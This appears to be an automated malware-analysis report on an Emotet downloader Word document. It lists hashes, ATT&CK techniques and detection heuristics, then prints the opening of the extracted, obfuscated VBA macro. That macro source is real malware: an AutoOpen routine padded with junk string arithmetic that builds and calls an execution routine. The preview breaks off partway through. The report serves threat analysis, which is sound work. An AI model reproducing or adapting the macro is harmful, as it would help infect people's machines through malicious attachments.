Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6c7dd9c5f28bd50f…

MALICIOUS

Office (OLE)

136.1 KB Created: 2018-09-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 45d4758f8ccd14efb8d51988062d7ccf SHA-1: bd9ae871a8cb33738c307cdb2653f37daf5ca5a9 SHA-256: 6c7dd9c5f28bd50f55b95c7edfd6aac33ec177ce240deeb95dc197861e4f4e7a
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a critical heuristic firing for a Shell() call within VBA macros, and ClamAV identifies it as Doc.Downloader.Emotet. The AutoOpen macro is present and likely initiates the execution of a second-stage payload. The embedded URL, though benign, is noted as part of the document's structure.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826489-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84527 bytes
SHA-256: 7e602f46496e97757566546c0404b7c04dcc5443a4a0bfea896658eb2dc49371
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kQSIzGDwt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fRXLHk(2)
fRXLHk(0) = InStr(LRAdH + mhnKzwliZsEjiTDqja + AiBGVza, IJXZuNa + fsmPjfcihaRTcbjwIblDK + zJJoFdXA) + InStr(wlzVit + pTojwdHhKHtocIjRubwtS + wBiai, KUnHTN + YzNtAdWNqLcWRsznjGwD + ZiHVcL) + InStrRev(NDzfZhf + UkTFztNlVZzaZUbzPHli + JNvuwQIG, SLTbkiI + fmndAzFGKRiGNPoSpFRssv + AAOlzv) + InStr(EWkuzrK + QvMwEmFwBkNtuiXaSYRnS + SvmUz, vbzQYvNJ + tDMKbWWmDJItKtUJMU + XwSiGCJs)
fRXLHk(1) = InStrRev(HuPaAqt + KrjXcrXNtzbppMJTQUdLA + OijtdPwW, raprjpHz + SEAmnazijjflsdHQjiS + wlTbji) + InStrRev(rbZJi + vpzsMLpFOrLZjAIipC + SzKUoKLT, CUujZjB + OMpTWcRuAwIDhqCvXitudf + fAaZjE) + InStrRev(mdjns + mSRYwnBjjFNRMnZNm + bPDzjDCN, AOGbL + bbzttaqoUQsOikVCUBGAwTR + COqAj) + InStrRev(LuEhoNI + lUAZQtSJnzUaAadlRiPM + YajKNHsE, wQcwJv + tdRkudFPXkFVINhjZvfEQ + cLwhbVY)
   Dim XdwwiR(1)
XdwwiR(0) = InStr(zJtHiYW + GEWrGBqVFGuCpCHnaf + RhYLd, jwEQNtLz + LGIMGhwMDjRjYzEJhqJ + VHplbnr) + InStrRev(LOZYvLAb + NMRPjbvHnjlChfsLtZMbbX + ACsJGz, QDsIJ + kRGZLrtEHQwsBkXLotOidm + OmFjBH) + InStrRev(KVwzYHz + pCzJjBlwzwVnAVfSHX + KZaUtZnh, dnjLMiY + DJjGXsKwcfYdajFtHMLQD + pEpIw) + InStrRev(ZLfbT + jckFPKzWWdcirtjTOCF + flVEPhNP, YjaKnc + iTfTOGmmvzoZdadouzoIN + YCRisr)
   Dim KanjF(2)
KanjF(0) = InStrRev(YVULspDu + MjwNYBaIuTBvPpCHEldVz + wwumHBd, rbFlY + DJiWaEuzBnzFiFpFcNOnR + GpVkQ) + InStrRev(NZMTkIrU + GOdiZhdATkKpWMzPZPkDIsJw + jNHObj, jjIsjUPG + qGltsfaWKVmQiPFdwNpJ + SjhfPnB)
KanjF(1) = InStrRev(IZinVc + KsYuPtDFKdGwjJaw + GWTwraZz, BIJiRho + nbKdYBHcCdudEVEzY + GdaczN) + InStrRev(zVYrFQv + NpTwvzqXzavcqdUjCwmo + CIVmpvIc, ifYLjkE + vjXiuivPqwbBioUlYCSTS + duJASsCY) + InStrRev(fiaDCz + LJhzYSrSLNdQEFslOXFYc + NKuiVCZ, zOfVq + ZrLLwGawKOiOEEmFhUk + Ejwal) + InStr(vGUjjR + nETjLouTMJbilpCAHNbf + nTYtZD, zRdABi + QzOczJilqiQZciJXVWZ + VDlUw)
   Dim LWfVc(1)
LWfVc(0) = InStrRev(tiPzGo + zkhJwuJDfwficwWdcar + Wbvbq, KiciL + aYOMbqjrQjzwjoIzVnWz + qimwBw) + InStrRev(XvEONP + FkfuqOQwnVLhqDZlLtTpRtk + HYbtFpim, cbOnAOd + jriWUdjluNBGocMcFsIR + QKwGTb) + InStrRev(DtwcBH + CwsGaWlvcBBVpZGDTmfS + jCujPWE, pMYzptX + qZmwOVDvDwkafrUsFj + pmzMBZQK) + InStrRev(VbsomnZ + bBPwSwTwZfGizKPJTdi + JBBhr, TuUivZn + CGSlQUrPqbYPrizpRjRbt + MJGhX)
   Dim zsqrNO(2)
zsqrNO(0) = InStrRev(NuDBFj + dWPNHMQqodRXkJrWDzaW + jPPbj, RvYzj + kbQBYlLdCUrNMBnIMbzBzJp + cLuCC) + InStr(bjYzVpk + HoluQHzYuKnajQLTSIRp + ZHiBmWq, pUDajUpw + uzANfFiRUEqUqArwlX + mdYjpbw) + InStrRev(mhNbY + nhsYqjwUGtUwAtXNkHiP + rsESPs, sIEfv + iDGjhiLtwnELFRoFzquC + bOFrpF) + InStrRev(JFEbjVp + LVcoGzBmqqmNwWFPY + qJSBC, lSPlIij + VQEoCPzvVDiJPaHiSWE + ZAXaAE)
zsqrNO(1) = InStr(PwkwUj + WSFhjzcpzvbCQVqOC + zqUjPL, UjGCwDz + aYUlCJZzvTdiRISOMAjQ + cPVzTw) + InStr(LndWc + uRPPLwpHSnlkAIzXZtESj + VSiVO, jRjTAL + AOhfNjHiVYEWnqwjdXklE + EitWHl)
   Dim bEiwl(2)
bEiwl(0) = InStrRev(JCapicnI + jqCSiIdpbmXlwDNbcZQUrS + dzERnuim, lwwBLwRJ + imznahBQWLzhPzJwcGKqr + fbOUCi) + InStrRev(PrwQrGz + qjmOhBLHKJKTkIBVn + dSBzIp, sfdoAK + warJuXWvwqjbqaVD + hthqpR) + InStrRev(fuzTGDv + ZFviELzjoDnNiHvjKSEGt + BsNbAf, vzZidhhD + atSQpXSPlTVzBpoaIoXs + JWFnzcO) + InStrRev(SwzlCpJ + JUawXtWbdzoCAsBMAQJEW + sqZDlwa, EILzMzc + AoPwEDWzNAAPEcozXszNvQn + BACnHT)
bEiwl(1) = InStrRev(TvlVhzA + jpEiLzidtBjQiBmz + swiwU, bpvwA + wUnqpCJZUFzPUqDCurs + rEmDnwC) + InStrRev(zSKOvHI + WOqUrrJkuzvpGzlPFq + iVPCjR, uqcWHvWN + iNIdjKLNwVsuzLzbo + VwCEMjrE) + InStrRev(UnLNIB + qUESasEbJkGNmsKaf + TITzXJM, KNWzjnDX + HIiUEOaZVwaGBvwcfi + VZKPIdwp) + InStrRev(TpTloPL + mLpkHOjrEvUdPOuXFzajMz + vQHjRW, ifpDA + GkrGqaFYUoDmLfdknSkVdwdJ + ErWjBUv)
UjjaQbiKnOmRF (KeyString(nOLWPR + SQNsvOjk + 21 + 18 + 28 + PftKRtBi + DCIjz) + cOHZcCt + MVcohzjE + KeyString(iczSVjhs + HdtpjH + 24 + 21 + 32 + NmczU + jFvUGTE) + chQkST + vKRamNR + okLdzBNv + plAkWNkh + bwsbkkiC)
   Dim KCqRn(1)
KCqRn(0) = InStrRev(LCGbDBQw + awlPwEHivzD
... (truncated)